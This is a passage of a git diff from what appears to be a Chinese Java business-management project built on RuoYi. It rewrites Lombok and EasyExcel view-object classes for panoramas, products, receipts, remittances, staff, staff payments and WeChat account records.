+ * 集材社订单ID + */ + private Long jcsOrderId; + + /** + * 违约金 + */ + @ExcelProperty(value = "违约金") + private BigDecimal breach; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpPanoramaVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpPanoramaVo.java index 68615b2..9e4b00d 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpPanoramaVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpPanoramaVo.java @@ -1,98 +1,98 @@ -package org.dromara.work.domain.vo; - -import org.dromara.work.domain.TpPanorama; -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 全景视图对象 tp_panorama - * - * @author Maosw - * @date 2025-03-26 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpPanorama.class) -public class TpPanoramaVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * ID - */ - @ExcelProperty(value = "ID") - private Long id; - - /** - * 订单ID - */ - @ExcelProperty(value = "订单ID") - private Long orderId; - - /** - * 标题 - */ - @ExcelProperty(value = "标题") - private String title; - - /** - * 背景链接 - */ - @ExcelProperty(value = "背景链接") - private String url; - - /** - * 热点 - */ - @ExcelProperty(value = "热点") - private String point; - - /** - * 样式 - */ - @ExcelProperty(value = "样式") - private String style; - - /** - * 图片 - */ - @ExcelProperty(value = "图片") - private String imgs; - - /** - * 宽度 - */ - @ExcelProperty(value = "宽度") - private Long width; - - /** - * 排序 - */ - @ExcelProperty(value = "排序") - private Integer sort; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - -} +package org.dromara.work.domain.vo; + +import org.dromara.work.domain.TpPanorama; +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 全景视图对象 tp_panorama + * + * @author Maosw + * @date 2025-03-26 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpPanorama.class) +public class TpPanoramaVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 订单ID + */ + @ExcelProperty(value = "订单ID") + private Long orderId; + + /** + * 标题 + */ + @ExcelProperty(value = "标题") + private String title; + + /** + * 背景链接 + */ + @ExcelProperty(value = "背景链接") + private String url; + + /** + * 热点 + */ + @ExcelProperty(value = "热点") + private String point; + + /** + * 样式 + */ + @ExcelProperty(value = "样式") + private String style; + + /** + * 图片 + */ + @ExcelProperty(value = "图片") + private String imgs; + + /** + * 宽度 + */ + @ExcelProperty(value = "宽度") + private Long width; + + /** + * 排序 + */ + @ExcelProperty(value = "排序") + private Integer sort; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpProdVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpProdVo.java index 3ceb839..18647a7 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpProdVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpProdVo.java @@ -1,100 +1,100 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpProd; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 商品视图对象 tp_prod - * - * @author Maosw - * @date 2025-03-15 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpProd.class) -public class TpProdVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 商品ID - */ - @ExcelProperty(value = "商品ID") - private Long id; - - /** - * 商品标题 - */ - @ExcelProperty(value = "商品标题") - private String title; - - /** - * 商品主图 - */ - @ExcelProperty(value = "商品主图") - private String pic; - - /** - * 商品图片,以,分割 - */ - @ExcelProperty(value = "商品图片,以,分割") - private String imgs; - - /** - * 视频地址 - */ - @ExcelProperty(value = "视频地址") - private String video; - - /** - * 详细描述 - */ - @ExcelProperty(value = "详细描述") - private String content; - - /** - * 商品参数json - */ - @ExcelProperty(value = "商品参数json") - private String parame; - - /** - * 展示价 - */ - @ExcelProperty(value = "展示价") - private Long price; - - /** - * 成本价 - */ - @ExcelProperty(value = "成本价") - private Long oriPrice; - - /** - * 状态:1-上架,2-下架 - */ - @ExcelProperty(value = "状态:1-上架,2-下架") - private Long status; - - /** - * 库存 - */ - @ExcelProperty(value = "库存") - private Long stocks; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpProd; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 商品视图对象 tp_prod + * + * @author Maosw + * @date 2025-03-15 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpProd.class) +public class TpProdVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 商品ID + */ + @ExcelProperty(value = "商品ID") + private Long id; + + /** + * 商品标题 + */ + @ExcelProperty(value = "商品标题") + private String title; + + /** + * 商品主图 + */ + @ExcelProperty(value = "商品主图") + private String pic; + + /** + * 商品图片,以,分割 + */ + @ExcelProperty(value = "商品图片,以,分割") + private String imgs; + + /** + * 视频地址 + */ + @ExcelProperty(value = "视频地址") + private String video; + + /** + * 详细描述 + */ + @ExcelProperty(value = "详细描述") + private String content; + + /** + * 商品参数json + */ + @ExcelProperty(value = "商品参数json") + private String parame; + + /** + * 展示价 + */ + @ExcelProperty(value = "展示价") + private Long price; + + /** + * 成本价 + */ + @ExcelProperty(value = "成本价") + private Long oriPrice; + + /** + * 状态:1-上架,2-下架 + */ + @ExcelProperty(value = "状态:1-上架,2-下架") + private Long status; + + /** + * 库存 + */ + @ExcelProperty(value = "库存") + private Long stocks; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpReceiptVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpReceiptVo.java index 4f6caa8..745b491 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpReceiptVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpReceiptVo.java @@ -1,161 +1,161 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpReceipt; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 收款管理视图对象 tp_receipt - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpReceipt.class) -public class TpReceiptVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - *ID - */ - @ExcelProperty(value = "ID") - private Long id; - - /** - * 收款渠道 - */ - @ExcelProperty(value = "收款渠道", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "pay_type") - private Long qid; - - /** - * 收款金额 - */ - @ExcelProperty(value = "收款金额") - private Long price; - - /** - * 汇款时间 - */ - @ExcelProperty(value = "汇款时间") - private Date hkTime; - - /** - * 状态(1=待认领,2=已认领) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=待认领,2=已认领,3=已作废") - private Integer state; - - /** - * 客户ID - */ - @ExcelProperty(value = "客户ID") - private Long cid; - - /** - * 客户编号 - */ - @ExcelProperty(value = "客户编号") - private String kcode; - - /** - * 客户姓名 - */ - @ExcelProperty(value = "客户姓名") - private String kname; - - /** - * 认领时间 - */ - @ExcelProperty(value = "认领时间") - private Date rlTime; - - /** - * 认领人 - */ - @ExcelProperty(value = "认领人") - private Long rid; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 是否删除(1=未删除,2=已删除) - */ - @ExcelProperty(value = "是否作废", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=未作废,2=已作废") - private Long isDel; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date addTime; - - /** - * 操作人 - */ - @ExcelProperty(value = "操作人") - private Long addUser; - - /** - * 退款金额 - */ - @ExcelProperty(value = "退款金额") - private Integer returnMoney; - - /** - * 退款备注 - */ - @ExcelProperty(value = "退款备注") - private String returnRemark; - - /** - * 外部交易号 - */ - @ExcelProperty(value = "外部交易号") - private String outTradeNo; - - /** - * 交易流水号 - */ - @ExcelProperty(value = "交易流水号") - private String tradeNo; - - /** - * 客户姓名 - */ - @ExcelProperty(value = "客户姓名") - private String cname; - - /** - * 认领人姓名 - */ - @ExcelProperty(value = "认领人姓名") - private String rname; - - /** - * 操作人姓名 - */ - @ExcelProperty(value = "操作人姓名") - private String addname; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpReceipt; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 收款管理视图对象 tp_receipt + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpReceipt.class) +public class TpReceiptVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + *ID + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 收款渠道 + */ + @ExcelProperty(value = "收款渠道", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "pay_type") + private Long qid; + + /** + * 收款金额 + */ + @ExcelProperty(value = "收款金额") + private Long price; + + /** + * 汇款时间 + */ + @ExcelProperty(value = "汇款时间") + private Date hkTime; + + /** + * 状态(1=待认领,2=已认领) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=待认领,2=已认领,3=已作废") + private Integer state; + + /** + * 客户ID + */ + @ExcelProperty(value = "客户ID") + private Long cid; + + /** + * 客户编号 + */ + @ExcelProperty(value = "客户编号") + private String kcode; + + /** + * 客户姓名 + */ + @ExcelProperty(value = "客户姓名") + private String kname; + + /** + * 认领时间 + */ + @ExcelProperty(value = "认领时间") + private Date rlTime; + + /** + * 认领人 + */ + @ExcelProperty(value = "认领人") + private Long rid; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 是否删除(1=未删除,2=已删除) + */ + @ExcelProperty(value = "是否作废", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=未作废,2=已作废") + private Long isDel; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date addTime; + + /** + * 操作人 + */ + @ExcelProperty(value = "操作人") + private Long addUser; + + /** + * 退款金额 + */ + @ExcelProperty(value = "退款金额") + private Integer returnMoney; + + /** + * 退款备注 + */ + @ExcelProperty(value = "退款备注") + private String returnRemark; + + /** + * 外部交易号 + */ + @ExcelProperty(value = "外部交易号") + private String outTradeNo; + + /** + * 交易流水号 + */ + @ExcelProperty(value = "交易流水号") + private String tradeNo; + + /** + * 客户姓名 + */ + @ExcelProperty(value = "客户姓名") + private String cname; + + /** + * 认领人姓名 + */ + @ExcelProperty(value = "认领人姓名") + private String rname; + + /** + * 操作人姓名 + */ + @ExcelProperty(value = "操作人姓名") + private String addname; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpRemittanceVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpRemittanceVo.java index 70a0a91..0d069b1 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpRemittanceVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpRemittanceVo.java @@ -1,105 +1,105 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpRemittance; - -import java.io.Serial; -import java.io.Serializable; - - - -/** - * 汇款视图对象 tp_remittance - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpRemittance.class) -public class TpRemittanceVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 别名 - */ - @ExcelProperty(value = "别名") - private String alias; - - /** - * 开户渠道 - */ - @ExcelProperty(value = "开户渠道") - private Long qid; - - /** - * 开户类型 - */ - @ExcelProperty(value = "开户类型") - private Long type; - - /** - * 开户名称 - */ - @ExcelProperty(value = "开户名称") - private String name; - - /** - * 收款码 - */ - @ExcelProperty(value = "收款码") - private String qrcode; - - /** - * 开户时间 - */ - @ExcelProperty(value = "开户时间") - private Long opentime; - - /** - * 付款码链接 - */ - @ExcelProperty(value = "付款码链接") - private String link; - - /** - * 状态(1=正常,2=禁用) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==正常,2=禁用") - private Long state; - - /** - * 创建人 - */ - @ExcelProperty(value = "创建人") - private Long addUser; - - /** - * 是否删除(1=未删除,2=已删除) - */ - @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==未删除,2=已删除") - private Long isDel; - - /** - * 录入时间 - */ - @ExcelProperty(value = "录入时间") - private Long addTime; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpRemittance; + +import java.io.Serial; +import java.io.Serializable; + + + +/** + * 汇款视图对象 tp_remittance + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpRemittance.class) +public class TpRemittanceVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 别名 + */ + @ExcelProperty(value = "别名") + private String alias; + + /** + * 开户渠道 + */ + @ExcelProperty(value = "开户渠道") + private Long qid; + + /** + * 开户类型 + */ + @ExcelProperty(value = "开户类型") + private Long type; + + /** + * 开户名称 + */ + @ExcelProperty(value = "开户名称") + private String name; + + /** + * 收款码 + */ + @ExcelProperty(value = "收款码") + private String qrcode; + + /** + * 开户时间 + */ + @ExcelProperty(value = "开户时间") + private Long opentime; + + /** + * 付款码链接 + */ + @ExcelProperty(value = "付款码链接") + private String link; + + /** + * 状态(1=正常,2=禁用) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==正常,2=禁用") + private Long state; + + /** + * 创建人 + */ + @ExcelProperty(value = "创建人") + private Long addUser; + + /** + * 是否删除(1=未删除,2=已删除) + */ + @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==未删除,2=已删除") + private Long isDel; + + /** + * 录入时间 + */ + @ExcelProperty(value = "录入时间") + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpStaffPayVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpStaffPayVo.java index ad41fc2..ec4815c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpStaffPayVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpStaffPayVo.java @@ -1,66 +1,66 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpStaffPay; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - -/** - * 客服支出记录视图对象 tp_staff_pay - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpStaffPay.class) -public class TpStaffPayVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属订单 - */ - @ExcelProperty(value = "所属订单") - private Long oid; - - /** - * 支出金额 - */ - @ExcelProperty(value = "支出金额") - private BigDecimal price; - - /** - * 操作内容 - */ - @ExcelProperty(value = "操作内容") - private String content; - - /** - * 操作人 - */ - @ExcelProperty(value = "操作人") - private Long addUser; - - /** - * 操作时间 - */ - @ExcelProperty(value = "操作时间") - private Date addTime; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpStaffPay; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + +/** + * 客服支出记录视图对象 tp_staff_pay + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpStaffPay.class) +public class TpStaffPayVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属订单 + */ + @ExcelProperty(value = "所属订单") + private Long oid; + + /** + * 支出金额 + */ + @ExcelProperty(value = "支出金额") + private BigDecimal price; + + /** + * 操作内容 + */ + @ExcelProperty(value = "操作内容") + private String content; + + /** + * 操作人 + */ + @ExcelProperty(value = "操作人") + private Long addUser; + + /** + * 操作时间 + */ + @ExcelProperty(value = "操作时间") + private Date addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpStaffVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpStaffVo.java index d51bb3f..436d5a9 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpStaffVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpStaffVo.java @@ -1,144 +1,144 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpStaff; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; - - - -/** - * 人员视图对象 tp_staff - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpStaff.class) -public class TpStaffVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 用户名称 - */ - @ExcelProperty(value = "用户名称") - private String username; - - /** - * 用户编号 - */ - @ExcelProperty(value = "用户编号") - private String code; - - /** - * 姓名 - */ - @ExcelProperty(value = "姓名") - private String name; - - /** - * 所属部门 - */ - @ExcelProperty(value = "所属部门") - private Long cid; - - /** - * 手机号 - */ - @ExcelProperty(value = "手机号") - private String phone; - - /** - * 工龄 - */ - @ExcelProperty(value = "工龄") - private Long year; - - /** - * 工种 - */ - @ExcelProperty(value = "工种") - private Integer work; - - /** - * 擅长类型 - */ - @ExcelProperty(value = "擅长类型") - private String type; - - /** - * 登录密码 - */ - @ExcelProperty(value = "登录密码") - private String password; - - /** - * 身份(1=员工,2=技术,3=客服,4=分图员) - */ - @ExcelProperty(value = "身份", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==员工,2=技术,3=客服,4=分图员") - private Long identity; - - /** - * 角色ID - */ - @ExcelProperty(value = "角色ID") - private Long rid; - - /** - * 状态(1=正常,2=关闭) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==正常,2=关闭") - private Long state; - - /** - * 是否删除(1=未删除,2=已删除) - */ - @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==未删除,2=已删除") - private Long isDel; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Long addTime; - - /** - * 拆单 - */ - @ExcelProperty(value = "拆单") - private BigDecimal yue; - - /** - * 上传类型(1=服务器上传,2=OSS上传,3=局域网上传) - */ - @ExcelProperty(value = "上传类型", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==服务器上传,2=OSS上传,3=局域网上传") - private Long upType; - - /** - * 上传节点 - */ - @ExcelProperty(value = "上传节点") - private Long urid; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpStaff; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; + + + +/** + * 人员视图对象 tp_staff + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpStaff.class) +public class TpStaffVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 用户名称 + */ + @ExcelProperty(value = "用户名称") + private String username; + + /** + * 用户编号 + */ + @ExcelProperty(value = "用户编号") + private String code; + + /** + * 姓名 + */ + @ExcelProperty(value = "姓名") + private String name; + + /** + * 所属部门 + */ + @ExcelProperty(value = "所属部门") + private Long cid; + + /** + * 手机号 + */ + @ExcelProperty(value = "手机号") + private String phone; + + /** + * 工龄 + */ + @ExcelProperty(value = "工龄") + private Long year; + + /** + * 工种 + */ + @ExcelProperty(value = "工种") + private Integer work; + + /** + * 擅长类型 + */ + @ExcelProperty(value = "擅长类型") + private String type; + + /** + * 登录密码 + */ + @ExcelProperty(value = "登录密码") + private String password; + + /** + * 身份(1=员工,2=技术,3=客服,4=分图员) + */ + @ExcelProperty(value = "身份", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==员工,2=技术,3=客服,4=分图员") + private Long identity; + + /** + * 角色ID + */ + @ExcelProperty(value = "角色ID") + private Long rid; + + /** + * 状态(1=正常,2=关闭) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==正常,2=关闭") + private Long state; + + /** + * 是否删除(1=未删除,2=已删除) + */ + @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==未删除,2=已删除") + private Long isDel; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Long addTime; + + /** + * 拆单 + */ + @ExcelProperty(value = "拆单") + private BigDecimal yue; + + /** + * 上传类型(1=服务器上传,2=OSS上传,3=局域网上传) + */ + @ExcelProperty(value = "上传类型", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==服务器上传,2=OSS上传,3=局域网上传") + private Long upType; + + /** + * 上传节点 + */ + @ExcelProperty(value = "上传节点") + private Long urid; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatNumVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatNumVo.java index dc9692a..992a565 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatNumVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatNumVo.java @@ -1,87 +1,87 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpWechatNum; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 更新好友数记录视图对象 tp_wechat_num - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpWechatNum.class) -public class TpWechatNumVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属微信 - */ - @ExcelProperty(value = "所属微信") - private Long wid; - - /** - * 数量 - */ - @ExcelProperty(value = "数量") - private Long num; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 创建人 - */ - @ExcelProperty(value = "创建人") - private Long addUser; - - /** - * 创建人 - */ - @ExcelProperty(value = "创建人") - private String addname; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date addTime; - - private Long yearNum; - - private Long monthNum; - - private Long dayNum; - - /** - * 好友数量 - */ - private Long total; - - /** - * 初始值 - */ - private Long initial; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpWechatNum; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 更新好友数记录视图对象 tp_wechat_num + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpWechatNum.class) +public class TpWechatNumVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属微信 + */ + @ExcelProperty(value = "所属微信") + private Long wid; + + /** + * 数量 + */ + @ExcelProperty(value = "数量") + private Long num; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 创建人 + */ + @ExcelProperty(value = "创建人") + private Long addUser; + + /** + * 创建人 + */ + @ExcelProperty(value = "创建人") + private String addname; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date addTime; + + private Long yearNum; + + private Long monthNum; + + private Long dayNum; + + /** + * 好友数量 + */ + private Long total; + + /** + * 初始值 + */ + private Long initial; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatUserVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatUserVo.java index 361a1b1..23827d4 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatUserVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatUserVo.java @@ -1,91 +1,91 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpWechatUser; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - - -/** - * 微信使用人修改历史视图对象 tp_wechat_user - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpWechatUser.class) -public class TpWechatUserVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属微信 - */ - @ExcelProperty(value = "所属微信") - private Long wid; - - /** - * 使用人 - */ - @ExcelProperty(value = "使用人") - private Long uid; - - /** - * 使用人 - */ - @ExcelProperty(value = "使用人") - private String user; - - /** - * 当前客服时间 - */ - @ExcelProperty(value = "当前客服时间") - private Date nowTime; - - /** - * 当前客服总业绩 - */ - @ExcelProperty(value = "当前客服总业绩") - private BigDecimal nowPrice; - - /** - * 结束时间 - */ - @ExcelProperty(value = 